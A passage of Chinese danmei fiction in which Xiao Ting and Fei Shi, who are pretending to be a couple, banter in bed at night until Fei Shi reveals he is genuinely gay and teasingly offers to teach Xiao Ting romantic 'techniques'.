“攻心罢了。察其欲、观其惧,以欲诱之,以惧驱之。左右不过一俗人,不难拿捏。” “就这些?” “就这些。” 萧汀将信将疑。 其实以他的水平也只能听个表面意思,但看费适的脸色,怕是问不出更多了,而且他也相信费适的手段。于是换了个话题,把方才那口怨气吐出来, “你刚才干嘛拦着不让他说完?我算猜着了,他也是个断袖对不对?好不容易见着个活的,正想讨教几招,你倒好,一句话就把人给打发了。” 费适睁开眼,缓缓侧头看过来,“你就这么想学?” “自然啊。”萧汀觉着这人好生奇怪,“我们现在不正演着的么,多知道点总没坏处。” “不用同他学。” “为什么?” 费适看着他,看了半晌,“活的还有。” 萧汀呆了一下,“谁啊?” “我。”费适说完,转回脸去又闭上了眼,“想学我教你。” 萧汀猛地翻身,支起胳膊看他, “你?!你竟然是个真断袖?” “嗯。天生地长,如假包换。” “………………” 萧汀晕了半晌,雷霆微怒,“那你做什么不早说?害我四处寻话本,到现在也就学了零散几招,一点儿也拿不出手。” “原也没想教你。至于现在……” 想跑也晚了。费适淡淡扯了扯嘴角。 萧汀没听出这画外音,身边突然冒出个活断袖,他这兴致一下就来了, “那先前话本上那些招数你都会喽?檀口度香什么的。” “嗯。会。” “除了这些,你还会多少招式?” “……两个G。” “什么鸡?” “数不胜数。” “那……你最擅长哪一招? “俱通。” “这么厉害?都实践过的吗?” “……睡吧,不早了。” “诶,还没说完呢……” 夜里一只虫鸣,引来蛙声一片,呱呱,呱呱呱呱。